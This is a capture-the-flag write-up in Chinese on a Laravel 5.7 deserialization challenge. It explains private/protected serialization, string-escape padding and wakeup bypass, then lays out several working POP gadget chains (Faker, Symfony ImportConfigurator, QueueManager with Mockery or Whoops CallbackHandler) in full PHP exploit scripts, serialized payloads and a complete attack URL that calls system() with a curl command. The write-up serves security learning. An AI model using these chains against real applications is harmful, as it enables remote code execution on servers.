安洵杯Laravel反序列化非预期+POP链挖掘
先知社区:https://xz.aliyun.com/t/8296
最近的安洵杯又看到laravel
反序列化+字符逃逸,找人要了题拿出来舔一下,看题发现出题大哥一些链没完全堵死,总结下这类题和laravel
中POP
链接的挖掘过程
个人水平较差、文中错误内容还请师傅们指教纠正。
这类题的一些Tips:
pravite 、Protected 属性序列化差别
Private、Protected
属性序列化和public
序列化稍有差异
example:
O:4:"test":3:{s:5:"test1";s:3:"aaa";s:8:"*test2";s:3:"aaa";s:11:"testtest3";s:3:"aaa";}
可以看到其中Private
的属性序列化出来为%00类名%00成员名
,而protected
的属性为%00*%00成员名
,所以这里``Private、protected`的长度都分别加了3和6。
这里输出中不会输出空字接,所以传递payload的时候需要将这里出现的空字节替换成%00
。
PHP 反序列化字符逃逸
出的也很多了不新奇了
题型参考安恒月赛Ezunserialize、强网2020web辅助、Joomla 的逃逸
拿安洵杯中的代码:
<?php
error_reporting(E_ALL);
function read($data){
$data = str_replace('?', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '?', $data);
return $data;
}
class player{
protected $user;
public function __construct($user, $admin = 0){
$this->user = $user;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
这些题都会给一个"读方法"和”写方法“来对%00*%00
和\0*\0
之间进行替换。这里给的是\0*\0
和?
的替换,之间还是,一样会吞并两个位置留给我们字符逃逸
read
函数: 将?
替换为%00*%00
,将1个字符变成3个字符,write
则替换回来,多两个字符空间
正常属性:
加入????:
这里可以看到第三行user属性的值变得非正常化了,s:8代表user属性长度是8,所以它会向后取8个字符的位置,但是现在"qing\0*\0*\0*\0*\0"
它如果在这里里面取8个字符会取到qing\0*\0\0
,后面的就逃逸出来了,所以要想把pop链接的payload作为反序列化的一部分而非user
字符串值的一部分就需要构造合适数量的?
来进行逃逸。
简单demo可以去看这个师傅的,这里不再叙述
关键字检测、__wakup绕过、魔术方法调用
这些网上很多了 简单贴一下
关键字检测:
if(stristr($data, 'name')!==False){
die("Name Pass\n");
绕过:十六进制即可,\6e\61\6d\65
__wakeup()绕过
序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行
一些魔术方法调用:
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发 把对象当作执行的时候会自动调用__invoke()
安洵杯laravel反序列化字符逃逸
拿到源码重新配置下env和key等配置
入口:
app/Http/Controllers/DController.php
:
Controller类:
app/Http/Controllers/Controller.php
:
<?php
namespace App\Http\Controllers;
use Illuminate\Foundation\Bus\DispatchesJobs;
use Illuminate\Routing\Controller as BaseController;
use Illuminate\Foundation\Validation\ValidatesRequests;
use Illuminate\Foundation\Auth\Access\AuthorizesRequests;
class Controller extends BaseController
{
use AuthorizesRequests, DispatchesJobs, ValidatesRequests;
}
function filter($string){
if(stristr($string, 'admin')!==False){
die("Name Pass\n");
}
return $string;
}
function read($data){
$data = str_replace('?', chr(0)."*".chr(0), $data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '?', $data);
return $data;
}
class player{
protected $user;
public function __construct($user, $admin = 0){
$this->user = $user;
$this->admin = $admin;
}
public function get_admin(){
return $this->admin;
}
}
都老套路就直接搜索哪里检测了'admin'字符串吧:
搜了以下edit
没有存在函数,那可能就是调用不存在的方法来调用__call()
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php
最重执行到getFormatter
函数:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
...
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
...
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
getFormatter
函数发现没啥戏,而format
函数中的 return $this->validG->format($args, $arguments);
,并且$this->validG
可控,继续寻找下一位幸运儿
vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #format
看到了call_user_func_array
了:
public function format($formatter, $arguments = array())
{
return call_user_func_array($formatter, $arguments);
}
编写POP反序列exp:
以最后反序列化执行system()
为例:
如果要反序列执行危险函数比如system函数就要控制最后代码执行函数call_user_func_array
的第一个参数$formatter
,而这个是$formatter
通过laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php
的 return $this->validG->format($args, $arguments);
中format
函数的args
参数,此参数来自于getFormatter
函数的返回值,控制return $this->formatters[$formatter];
返回类似`system、shell_exec'之类即可。
getFormatter
对$this->providers
进行foreach取值,这个可控,传入给getFormatter
函数的唯一参数$formatter
的值是为edit
这个字符串(最先调用Generator
类的edit这个不存在的方法,固会调用Generator
这个类的__call
并传入edit参数),所以需要做的就是将$this->formatters建立一个含有'edit'
的键并键名为'system'
数组:
class Generator
{
protected $providers = array();
protected $formatters = array('edit'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
}
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
最后在``vendor/fzaninotto/faker/src/Faker/ValidGenerator.php #format的
call_user_func_array中第二个参数
$arguments为执行
system函数的参数,由
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php的
format函数第二个参数控制,而format函数由此类的
__call调用,而
Generatorx的
Call由最开始的
PendingResourceRegistration`类的析构调用:
public function __destruct()
{
if($this->name='admin'){
$this->registrar->edit($this->controller);
}
}
所以这里的$this->controller
即为最后system函数传入的参数,编写:
namespace Illuminate\Routing\PendingResourceRegistration{
class PendingResourceRegistration
{
protected $registrar;
protected $name = "admi\6e";
protected $controller = 'curl http://127.0.0.1:8833/qing';
protected $options = array('test');
public function __construct($registrar)
{
$this->registrar = $registrar;
}
public function __destruct()
{
if($this->name='admin'){
$this->registrar->edit($this->controller);
}
}
}
}
至于这里对于name属性的判断,十六进制改一下字符就行,老套路了。
最终exp:
写链接的时候私有属性赋值别漏写了,上面说的pravite 、Protected
记得替换00
<?php
namespace Illuminate\Routing{
class PendingResourceRegistration
{
protected $registrar;
protected $name = "admi\\6e";
protected $controller = 'curl http://127.0.0.1:8833/qing';
protected $options = array('test');
public function __construct($registrar)
{
$this->registrar = $registrar;
}
}
}
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array('edit'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
}
class ValidGenerator
{
protected $validator;
protected $maxRetries;
protected $generator = null;
public function __construct( $validator = null, $maxRetries = 10000)
{
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new Illuminate\Routing\PendingResourceRegistration(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}
再加上前面说的字符串逃逸的套路填充下逃逸字符即可。
最后字符串逃逸处理:
加上新增反序列属性部分和结尾的}
来完成闭合,然后现在文本中的%00实际只能占一个字符但是文本中显示3个字符,替换成空格计算一下长度,最后再替换回去:
如果发现是单数可以把属性名加一位凑成442 ,这里我把属性名设置为qingx
正好是偶数,?
和\0*\0之间会吞两个字符,所以前面?的数量为221
payload:
http://www.laravel57.com/task?task=?????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????";s:5:"qingx";O:46:"Illuminate\Routing\PendingResourceRegistration":4:{s:12:"%00*%00registrar";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:4:"edit";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:7:"%00*%00name";s:7:"admi\6e";s:13:"%00*%00controller";s:31:"curl http://127.0.0.1:8833/qing";s:10:"%00*%00options";a:1:{i:0;s:4:"test";}}}
非预期解 +laravel反序列化POP链接挖掘
找链还是从起点开始 比如常见的析构和__wakeup
看题大哥还是封了一些的 不过有的还是可以做
laravel57\vendor\symfony\routing\Loader\Configurator\ImportConfigurator.php
__destruct
:
class ImportConfigurator
{
use Traits\RouteTrait;
private $parent;
public function __construct(RouteCollection $parent, RouteCollection $route)
{
$this->parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
...
发现\laravel57\vendor\symfony\routing\RouteCollection.php
的addCollection
然而这条路我找了并没有走通,有师傅这条走通的麻烦指点一下
public function addCollection(self $collection)
{
// we need to remove all routes with the same names first because just replacing them
// would not place the new route at the end of the merged array
foreach ($collection->all() as $name => $route) {
unset($this->routes[$name]);
$this->routes[$name] = $route;
}
foreach ($collection->getResources() as $resource) {
$this->addResource($resource);
}
}
回到搜索addCollection
,走不动就调__call
函数,其实这里就可以结合上面链的
结合原题中的__call方法POP链
laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php的
__call`函数:
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
...
public function format($formatter, $arguments = array())
{
$args = $this->getFormatter($formatter);
return $this->validG->format($args, $arguments);
}
...
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}
区别就是这里是调用 addCollection
函数,所以传递给__call
函数的第一个参数就是 addCollection
,而$this->route = $route
为传入__call
函数的第二个参数,最后构造laravel57\vendor\fzaninotto\faker\src\Faker\Generator.php
中的$this->formatters
数组中含有addCollection
键值指向调用的危险函数名即可,做法参照上面的exp,不再叙述。
注意Symfony\Component\Routing\Loader\Configurator\ImportConfigurator
中的$parent
替换成%00
+Symfony\Component\Routing\Loader\Configurator\ImportConfigurator
+%00
exp中删除方法和进行字符串逃逸部分不再叙述
exp2:
<?php
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator
{
private $parent;
public function __construct($parent)
{
$this->parent = $parent;
$this->route = 'curl http://127.0.0.1:8833/qing';
}
}
}
namespace Faker{
class Generator
{
protected $providers = array();
protected $formatters = array('addCollection'=>'system');
public function __construct($vaildG)
{
$this->validG = new $vaildG();
}
}
class ValidGenerator
{
protected $validator;
protected $maxRetries;
protected $generator = null;
public function __construct( $validator = null, $maxRetries = 10000)
{
$this->validator = $validator;
$this->maxRetries = $maxRetries;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(new Faker\Generator("Faker\ValidGenerator"));
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:15:"Faker\Generator":3:{s:12:"%00*%00providers";a:0:{}s:13:"%00*%00formatters";a:1:{s:13:"addCollection";s:6:"system";}s:6:"validG";O:20:"Faker\ValidGenerator":3:{s:12:"%00*%00validator";N;s:13:"%00*%00maxRetries";i:10000;s:12:"%00*%00generator";N;}}s:5:"route";s:31:"curl http://127.0.0.1:8833/qing";}
原生POP链挖掘
回到前面传入addCollection
参数调用__call
这步:
搜索发现\laravel57\vendor\laravel\framework\src\Illuminate\Database\DatabaseManager.php
的call,没发现什么特别但是调用了自己的connection
public function connection($name = null)
{
$name = $name ?: $this->getDefaultDriver();
// If the connection has not been resolved yet we will resolve it now as all
// of the connections are resolved when they are actually needed so we do
// not make any unnecessary connection to the various queue end-points.
if (! isset($this->connections[$name])) {
$this->connections[$name] = $this->resolve($name);
$this->connections[$name]->setContainer($this->app);
}
return $this->connections[$name];
}
继续瞅瞅getDefaultDriver
、resolve
、setContainer
这几个方法,发现一处call_user_func
:
protected function resolve($name)
{
$config = $this->getConfig($name);
return $this->getConnector($config['driver'])
->connect($config)
->setConnectionName($name);
}
//跟进getConnector:
protected function getConnector($driver)
{
if (! isset($this->connectors[$driver])) {
throw new InvalidArgumentException("No connector for [$driver]");
}
return call_user_func($this->connectors[$driver]);
}
在跟到getConnector
方法的时候发现其中的call_user_func
函数的参数由$this->connectors[$driver]
控制,而这个我们是可以构造来控制的,固可以利用这处来RCE.
构造的时候可以把$this->connectors[$driver]
分两个部分构造,一个构造$driver部分,一个构造$this->connectors
部分
先看$driver
:
可以看到$this->connectors[$driver]
其中的$driver
是在resolve
函数中return $this->getConnector($config['driver'])
传递的,所以要去找$config,而$config
为$config = $this->getConfig($name);
得到:
protected function getConfig($name)
{
if (! is_null($name) && $name !== 'null') {
return $this->app['config']["queue.connections.{$name}"];
}
return ['driver' => 'null'];
}
这里可以看到函数返回值$this->app['config']["queue.connections.{$name}"];
赋值给$config
,取的是app属性(三维数组)中config
对应的数组下键值‘queue.connections.{$name}’对应的数组。app
而又在构造函数赋值:
class QueueManager implements FactoryContract, MonitorContract
{
...
public function __construct($app)
{
$this->app = $app;
}
所以编写exp中让app三维数组中config
指向的数组其中存在‘connections.{$name}’键值指向的数组中含有driver键值即可
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($func, $param) {
$this->app = [
'config'=>[
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
}
}
再来看$this->connectors
:
因为最后指向call_user_func($this->connectors[$driver]);
的地方是在$this->connectors
数组中取出来的值来指向,比如上面的$driver变量定义的字符串是qing
,那这里定义connectors数组中增加一个这样的键值即可:
class QueueManager
{
public function __construct($func, $param) {
$this->app = [
'config'=>[
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$this->connectors = [
'qing'=>[
xxx
]
];
}
}
call_user_func($this->connectors[$driver]);
这里都可以控制了,固到这一步现在可以调用任意函数或者任意类的任意函数了,傻瓜式找一个类有危险函数的:
\laravel57\vendor\mockery\mockery\library\Mockery\ClosureWrapper.php
这里传入closure参数为执行的函数,func_get_args()
为执行函数传入的参数 ,调用这个类的__invoke
即可
编写exp:
<?php
namespace Mockery {
class ClosureWrapper
{
private $closure;
public function __construct($closure)
{
$this->closure = $closure;
}
public function __invoke()
{
return call_user_func_array($this->closure, func_get_args());
}
}
}
namespace Illuminate\Queue {
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($a, $b) {
$this->app = [
'config'=>[
'queue.default'=>'qing',
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$obj = new \Mockery\ClosureWrapper("phpinfo");
$this->connectors = [
'qing'=>[
$obj, "__invoke"
]
];
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($a,$b)
{
$this->parent = new \Illuminate\Queue\QueueManager($a);
$this->route = null;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("qing","qing");
echo serialize($test);}
O:64:"Symfony\Component\Routing\Loader\Configurator\ImportConfigurator":2:{s:72:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00parent";O:29:"Illuminate\Queue\QueueManager":2:{s:6:"%00*%00app";a:1:{s:6:"config";a:2:{s:13:"queue.default";s:4:"qing";s:22:"queue.connections.qing";a:1:{s:6:"driver";s:4:"qing";}}}s:13:"%00*%00connectors";a:1:{s:4:"qing";a:2:{i:0;O:22:"Mockery\ClosureWrapper":1:{s:31:"%00Mockery\ClosureWrapper%00closure";s:7:"phpinfo";}i:1;s:8:"__invoke";}}}s:71:"%00Symfony\Component\Routing\Loader\Configurator\ImportConfigurator%00route";N;}
发现phpinfo一闪而过,但这里没办法传入执行函数的参数。
如果有师傅这里能执行任意参数的函数麻烦带带
这里因为有__invoke,我本想着把传入类似实例化对象当作函数执行的地址来传入参数发现都是没地址返回,折折腾腾半天这条路子就放弃了,如果要执行有参函数,目前用Mockery类无法完成,只有寻找其他类
\laravel57\vendor\filp\whoops\src\Whoops\Handler\CallbackHandler.php
:
public function __construct($callable)
{
if (!is_callable($callable)) {
throw new InvalidArgumentException(
'Argument to ' . __METHOD__ . ' must be valid callable'
);
}
$this->callable = $callable;
}
/**
* @return int|null
*/
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable, which we check in __construct().
return $callable($exception, $inspector, $run);
}
翻到CallbackHandler
这个类时候发现完全符合条件,并且在包中原本的作用就是拿来回调的,固执行有参数的pop链接最后可以拿这个收尾
这里回调的地方:
public function handle()
{
$exception = $this->getException();
$inspector = $this->getInspector();
$run = $this->getRun();
$callable = $this->callable;
// invoke the callable directly, to get simpler stacktraces (in comparison to call_user_func).
// this assumes that $callable is a properly typed php-callable, which we check in __construct().
return $callable($exception, $inspector, $run);
}
发现函数名我们可以通过构造函数传入,函数的第一个参数我们也可控,不过函数的第二个参数和第三个参数默认是给null,找了一下符合要求的执行函数:
综上,exp3:
<?php
namespace Whoops\Handler{
abstract class Handler
{
private $run =null;
private $inspector =null;
private $exception =null;
}
class CallbackHandler extends Handler
{
protected $callable;
public function __construct($callable)
{
$this->callable = $callable;
}
}
}
namespace Illuminate\Queue {
class QueueManager
{
protected $app;
protected $connectors;
public function __construct($a) {
$this->app = [
'config'=>[
'queue.default'=>'qing',
'queue.connections.qing'=>[
'driver'=>'qing'
],
]
];
$obj = new \Whoops\Handler\CallbackHandler($a);
// $obj2 = $obj("curl http://127.0.0.1:8833/qing");
$this->connectors = [
'qing'=>[
$obj,'handle'
]
];
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator {
class ImportConfigurator
{
private $parent;
private $route;
public function __construct($a, $b)
{
$this->parent = new \Illuminate\Queue\QueueManager($a);
$this->route = null;
}
}
}
namespace {
error_reporting(E_ALL);
$test = new \Symfony\Component\Routing\Loader\Configurator\ImportConfigurator("exec","qing");
echo serialize($test);}
END
Links:
https://www.cnblogs.com/Wanghaoran-s1mple/p/13160708.html
------------------------------------------------------------------------------------